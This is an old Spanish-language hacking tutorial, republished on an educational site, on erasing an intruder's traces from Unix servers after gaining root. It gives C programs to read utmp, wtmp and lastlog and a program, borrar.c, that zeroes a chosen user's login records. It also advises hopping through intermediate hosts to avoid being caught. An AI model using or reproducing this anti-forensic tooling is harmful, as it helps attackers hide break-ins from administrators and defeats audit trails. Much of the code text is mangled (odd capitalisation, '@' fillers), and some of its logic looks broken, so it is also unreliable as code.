Haga click para publicitar en Alipso.com
Buscando Secundarios  |  Universidades  |  Carreras  |  Test Orientaciσn Vocacional  |  Medios  |  Profesores particulares  |  Institutos   | Campus
Material Monografias  |  Exαmenes Secundarios  |  Exαmenes Universitarios  |  Enlaces  |  Enviar material |
Diversiσn Postales  |  Humor  |  Descargas  |  Juegos Comunidad  Foros  | Institucional Publicite  |  En su sitio  | Contαctese
Cursos en Buenos Aires
 Cursos de Informática | Cursos de apoyo al CBC | Carreras y Cursos de Diseρo, Comunicaciσn, Arte y Fotografνa

[Monografias, exámenes y sitios ]
Todas las palabras   Cualquier palabra   Frase Exacta
Página inicial Agregar a Favoritos  |  Nuevos Recursos

Imprimir apunte Recomendar a un amigo Recordarme el recurso Descargar como PDF

Mαs sobre este recurso:
Catalogado en base de datos como: Eliminando nuestras huellas del sistema:
Agregado: 12 de ABRIL de 2000 | Palabras: 1594 | Votar! | Sin Votos | Sin comentarios | Agregar Comentario
Categorνa: Apuntes y Monografνas > Computaciσn > Seguridad informatica >

Recomendamos

Material educativo de Alipso relacionado con Eliminando nuestras huellas del sistema
  • Los sistemas operativos.: Sistemas operativos, elementos de una interfase grafica, las funciones.
  • La riqueza de nuestra educaciσn y del lenguaje: Los contenidos acadιmicos tal como son propuestos en el programa son reelaborados al ser transmitidos, a partir de la historia de los maestros y de su intenciσn de hacerlos accesibles a los alumnos. Asν mismo, son reelaborados tambiιn por los alumnos a pa
  • Trabajo de repaso de historia: ...
  • Energνa electromagnιtica.: Las experiencias de Faraday, La nociσn del flujo magnιtico, VARIABLES, LAS ECUACIONES MATERIALES, ECUACIONES DE MAXWELL, LA VELOCIDAD DE LA LUZ.


  • Enlaces externos relacionados con Eliminando nuestras huellas del sistema
  • Atlas de imαgenes del PET σ SPECT perfusion images
  • Breve historia desde las cavernas hasta los rascacielos
  • El derretimiento de glaciares y la reduccion de Venezuela


  • ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ

    ³@@@@@@@@@@@@@@@@@ ELIMINANDO NUESTRAS HUELLAS DEL SISTEMA@@@@@@@@@@@@@@@@@ ³

    ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄

    ³@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@Por: Guybrush@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ³

    ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄

    ³@@@@@@@@@@@@@@@@@@@@@@@ E-Mail: guybrush@axis.org@@@@@@@@@@@@@@@@@@@@@@@@@ ³

    ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ

     

    ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ

    ³@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ INDICE@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ³

    ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ

     

    @@@@@@@ 0-Introduccion

     

    @@@@@@@ 1-¨Que huellas dejamos cuando trabajamos en un sistema?

     

    @@@@@@@ 2-¨Por que y cuando es necesario borrar nuestras huellas?

     

    @@@@@@@ 3-Como borrarlas

     

    @@@@@@@ 4-Despedida

     

    ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ

    ³@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 0-INTRODUCCION@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ³

    ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ

     

    Existen muchos documentos por ahi que explican como conseguir ser root en

    ordenadores que trabajan con Unix. Como capturar el passwd (este o no shadow),

    como utilizar los diccionarios, cuentas por defecto, bugs, etc. (Nota: ¨que

    aun no sabes como hacer esto? ¨a que esperas para leerte mi articulo sobre

    UNIX?. Lo puedes encontrar en varias revistas o puedes pedirmelo por correo).

     

    Bien, pero, ¨que ocurre cuando por fin conseguimos la cuenta root de ese

    servidor al que hemos estado intentando entrar desde hace varios meses? ¨Que

    podemos hacer para conservar esa cuenta el mayor tiempo posible?

     

    ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ

    ³@@@@@@@@@@ 1-¨QUE HUELLAS DEJAMOS CUANDO TRABAJAMOS EN SISTEMA?@@@@@@@@@@@ ³

    ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ

     

    todos los sistemas basados en unix guardan informacion sobre los usuarios que

    se conectan, asi como las ordenes que ejecutan y en caso de ser un host remoto

    tambien su direccion de dominio. estos registros son llamados 'logs'.

     

    Pero no todos los Unix son iguales. Podemos encontrarnos con el Unix de IBM

    (AIX), el Unix del Sun (SunoS o Solaris), etc. Por lo que algunos guardan los

    datos sobre usuarios en directorios distintos a los demas.

     

    Los logs mas importantes son:

     

    @utmp

    @----

    @Guarda un log de los usuarios que estan utilizando el sistema mientras estan

    @conectados a el.

     

    @Lo podemos encontrar en:@ /etc/utmp

     

    @wtmp

    @----

    @Guarda un log cada vez que un usuario se introduce o sale del sistema.

     

    @Lo podemos encontrar en:@ /var/adm/wtmp

     

    @lastlog

    @-------

    @Guarda un log del momento exacto en que un usuario entro por ultima vez.

     

    @Lo podemos encontrar en:@ /var/adm/lastlog

     

     

    ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ

    ³@@@@@@@ 2-¨POR QUE Y CUANDO ES NECESARIO BORRAR NUESTRAS HUELLAS?@@@@@@@@@ ³

    ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ

     

    Mientras seamos un usuario sin privilegios no podremos borrar ninguno de estos

    logs, ya que no tendremos permiso para ello. Pero esto tampoco nos debe

    importar mucho ya que un administrador no puede saber si hoy a las 17:45 horas

    ha entrado en el servidor el usuario 'pepito' o si era un hacker que ha

    conseguido su cuenta. A no ser que se lo pregunte a 'pepito' y este diga: 'oh

    no, pero si yo a esa hora estaba en el cine ...' @#$%& ... pero bueno, es poco

    probable ya que con los pocos privilegios que puede tener un simple usuario no

    podemos hacer casi nada en el sistema. Por lo que un administrador medianamen-

    te bueno, cada vez que comience una sesion revisara sus logs (los del root)

    para ver si hay algo anormal en su cuenta.

     

    Imaginate que por fin consigues esa deseada cuenta root y por no borrar las

    huellas, cuando vas el dia siguiente a conectarte ... 'invalid passwd' ... y

    eso en el mejor de los casos, porque si no usas 'condones' (conectarte a un

    sistema, de ahi a otro, ... y por fin al sistema victima) te pillaran ensegui-

    da.

     

     

    ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ

    ³@@@@@@@@@@@@@@@@@@@@@@@@@@@ 3-COMO BORRARLAS@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ³

    ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ

     

    Los ficheros 'utmp', 'wtmp' y 'lastlog', asi como los demas logs adicionales

    que puedan presentar otros sistemas, no son ficheros de texto legibles dado

    que son estruvturas de datos. Por lo que no podras verlas con un simple editor

    de texto, pero si con estos programas:

     

    Primer programa:

    -------------------------- cortar por aqui -----------------------------------

    /*****************************************************************************/

    /*****@@@@@@@@@@@@@@@@@@@@ editar el fichero 'utmp'@@@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*****/

    /*****@@@@@@@@@@@@@@@@ Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/

    /*****************************************************************************/

     

    /* programa ulog.c */

     

    #include <stdio.h>

    #include <utmp.h>

     

     

    #define UTMP "/etc/utmp"

     

     

    void main()

    {

    @@ struct utmp u;

    @@ FILe *fichero;

    @@

    @@ if ((fichero = fopen(UTMP,"r")) == NULL)

    @@ {

    @@@@@ fprintf(stderr," error : no encontrado el fichero '%s'\n",UTMP);

    @@@@@ exit(0);

    @@ }

    @@

    @@ while (fread(&u, sizeof(u), 1, fichero))

    @@ {

    @@@@@ printf("%d - ",u.ut_type);

    @@@@@ printf("%d - ",u.ut_pid);

    @@@@@ printf("%s - ",u.ut_line);

    @@@@@ printf("%s - ",u.ut_id);

    @@@@@ printf("%d - ",u.ut_time);

    @@@@@ printf("%s - ",u.ut_user);

    @@@@@ printf("%s - ",u.ut_host);

    @@@@@ printf("%d\n",u.ut_addr);

    @@ }

     

    @@ fclose(fichero);

    }

    -------------------------- cortar por aqui -----------------------------------

     

    Segundo programa:

    -------------------------- cortar por aqui -----------------------------------

    /*****************************************************************************/

    /*****@@@@@@@@@@@@@@@@@@@@ editar el fichero 'wtmp'@@@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@*****/

    /*****@@@@@@@@@@@@@@@@ Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/

    /*****************************************************************************/

     

     

    /* programa wlog.c */

     

    #include <stdio.h>

    #include <utmp.h>

     

     

    #define WTMP "/usr/adm/wtmp"

     

     

    void main()

    {

    @@ struct utmp w;

    @@ FILe *fichero;

    @@

    @@ if ((fichero = fopen(WTMP,"r")) == NULL)

    @@ {

    @@@@@ fprintf(stderr," error : no encontrado el fichero '%s'\n",WTMP);

    @@@@@ exit(0);

    @@ }

    @@

    @@ while (fread(&w, sizeof(w), 1, fichero))

    @@ {

    @@@@@ printf("%d - ",w.ut_type);

    @@@@@ printf("%d - ",w.ut_pid);

    @@@@@ printf("%s - ",w.ut_line);

    @@@@@ printf("%s - ",w.ut_id);

    @@@@@ printf("%d - ",w.ut_time);

    @@@@@ printf("%s - ",w.ut_user);

    @@@@@ printf("%s - ",w.ut_host);

    @@@@@ printf("%d\n",w.ut_addr);

    @@ }

     

    @@ fclose(fichero);

    }

     

    -------------------------- cortar por aqui -----------------------------------

     

    Tercer programa:

    -------------------------- cortar por aqui -----------------------------------

    /*****************************************************************************/

    /*****@@@@@@@@@@@@@@@@@@@ editar el fichero 'lastlog'@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@ @@@@@@@@@@@@@@Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/

    /*****************************************************************************/

     

     

    /* programa llog.c */

     

    #include <stdio.h>

    #include <lastlog.h>

    #include <pwd.h>

     

     

    #define LASTLoG "/usr/adm/lastlog"

     

     

    void main()

    {

    @@ struct lastlog l;

    @@ FILe *fichero;

    @@

    @@ if ((fichero = fopen(LASTLoG,"r")) == NULL)

    @@ {

    @@@@@ fprintf(stderr," error : no encontrado el fichero '%s'\n",LASTLoG);

    @@@@@ exit(0);

    @@ }

    @@

    @@ while (fread(&l, sizeof(l), 1, fichero))

    @@ {

    @@@@@ printf("%d - ",l.ll_time);

    @@@@@ printf("%s - ",l.ll_line);

    @@@@@ printf("%s\n",l.ll_host);

    @@ }

     

    @@ fclose(fichero);

    }

    -------------------------- cortar por aqui -----------------------------------

     

    Con estos 3 programas te daras cuenta de como quedas registrado en el sistema.

    puedes utilizarlos desde cualquier usuario aunque no seas root ya que solo

    muestran los datos y no los modifican.

     

    Ahora, si consigues ser root, deberas borrarlos. y para eso puedes utilizar

    este otro programa:

     

    -------------------------- cortar por aqui -----------------------------------

    /*****************************************************************************/

    /*****@@ Borrar las huellas de los ficheros 'utmp', 'wtmp' y 'lastlog'@@ *****/

    /*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@@@@@@@@@@@@@@@ Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/

    /*****************************************************************************/

     

     

    /* programa borrar.c */

     

    #include <stdio.h>

    #include <sys/types.h>

    #include <fcntl.h>

    #include <utmp.h>

    #include <lastlog.h>

    #include <pwd.h>

     

     

    #define UTMP@@@@ "/etc/utmp"@@@@@@@@ /* ruta del utmp@@@ */

    #define WTMP@@@@ "/usr/adm/wtmp"@@@@ /* ruta del wtmp@@@ */

    #define LASTLoG@ "/usr/adm/lastlog"@ /* ruta del lastlog */

     

     

    /***** BoRRAR HUeLLAS De UTMP Y WTMP *****/

     

    void borrar1(char *usuario, char *log)

    {

    @@ struct utmp u;@@@@ /* usamos la estructura de datos 'utmp'@@@ */

    @@ int fd;

    @@ int cambio = 0;

    @@

    @@ if ((fd = open(log,o_RDoNLY)) == 0)

    @@ {

    @@@@@ fprintf(stderr,"error : no encontrado el fichero %s\n",log);

    @@@@@ exit(0);

    @@ }

    @@

    @@ close(fd);

    @@

    @@ if ((fd = open(log,o_RDWR)) == 0)

    @@ {

    @@@@ @fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);

    @@@@@ exit(0);

    @@ }

     

    @@ lseek(fd, 0, SeeK_SeT);

     

    @@ while (read(fd, &u, sizeof(u)))

    @@ {

    @@@@@ if (!strncmp(u.ut_user, usuario, strlen(usuario)))

    @@@@@ {

    @@@@@@@@ bzero((char *)&u, sizeof(u));@@@@@@ /* si hay alguna referencia */

    @@@@@@@@ lseek(fd, -(sizeof(u)), SeeK_CUR);@ /* sobre el usuario elegido */

    @@@@@@@@ write(fd, &u, sizeof(u));@@@@@@@@@@ /* borra las huellas@@@@@@@ */

    @@@@@@@@ cambio = 1;

    @@@@@ }

    @@ }

     

    @@ close(fd);

    @@

    @@ if (cambio == 0)

    @@@@@ fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);

    @@ else

    @@@@@ fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);

    @@@@@

    @@ return;

    }

     

     

    /***** BoRRAR HUeLLAS De LASTLoG *****/

     

    void borrar2(char *usuario, char *log)

    {

    @@ struct lastlog l;@@ /* usamos la estructura de datos 'lastlog' */

    @@ struct passwd *pwd; /* usamos la estructura de datos 'passwd'@ */

    @@ int fd;

    @@ int cambio = 0;

    @@

    @@ if ((fd = open(log,o_RDoNLY)) == 0)

    @@ {

    @@@@@ fprintf(stderr,"error : no encontrado el fichero %s\n",log);

    @@@@@ exit(0);

    @@ }

    @@

    @@ close(fd);

    @@

    @@ if ((fd = open(log,o_RDWR)) == 0)

    @@ {

    @@@@@ fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);

    @@@@@ exit(0);

    @@ }

     

    @@ lseek(fd, 0, SeeK_SeT);

     

    @@ if ((pwd = getpwnam(usuario)) == NULL)

    @@ {

    @@@@@ fprintf(stderr,"error : no existe ese usuario\n");

    @@@@@ exit(0);

    @@ }

     

    @@ while (read(fd, &l, sizeof(l)))

    @@ {

    @@@@@ if (lseek(fd, (long)pwd->pw_uid*sizeof(l), SeeK_CUR))

    @@@@@ {

    @@@@@@@@ bzero((char *)&l, sizeof(l));@ /* si hay alguna referencia al */

    @@@@@@@@ write(fd, &l, sizeof(l));@@@@@ /* usuario elegido, borra las@ */

    @@@@@@@@ cambio = 1;@@@@@@@@@@@@@@@@@@@ /* huellas@@@@@@@@ @@@@@@@@@@@@*/

    @@@@@ }

    @@ }

     

    @@ close(fd);

    @@

    @@ if (cambio == 0)

    @@@@@ fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);

    @@ else

    @@@@@ fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);

    @@@@@

    @@ return;

    }

     

     

    /***** FUNCIoN PRINCIPAL *****/

     

    void main(int argc, char *argv[])

    {

    @@ if (argc != 3)

    @@ {

    @@@@@ fprintf(stderr, "Uso : %s <usuario> <u|w|l|t>\n");

    @@@@@ fprintf(stderr,"@@@@@@@@@ u = utmp\n");

    @@@@@ fprintf(stderr,"@@@@@@@@@ w = wtmp\n");

    @@@@@ fprintf(stderr,"@@@@@@@@@ l = lastlog\n");

    @@@@@ fprintf(stderr,"@@@@@@@@@ t = todo (los tres)\n");

    @@@@@ exit(0);

    @@ }

    @@

    @@ if (argv[2][0] == 'l')

    @@@@@ borrar2(argv[1], LASTLoG);@@ /* borramos las huellas del lastlog */

    @@ if (argv[2][0] == 'u')

    @@@@ @borrar1(argv[1], UTMP);@@@@@ /* borramos las huellas del utmp@@@ */

    @@ if (argv[2][0] == 'w')

    @@@@@ borrar1(argv[1], WTMP);@@@@@ /* borramos las huellas del wtmp@@@ */

     

    @@ if (argv[2][0] == 't')

    @@ {

    @@@@@ borrar2(argv[1], LASTLoG);

    @@@@@ borrar1(argv[1], UTMP);

    @@@@@ borrar1(argv[1], WTMP);

    @@ }

    }

    -------------------------- cortar por aqui -----------------------------------

     

    espero que les saques provecho.@@ ;)

     

     

     

    Sacado de http://raregazz.islatortuga.com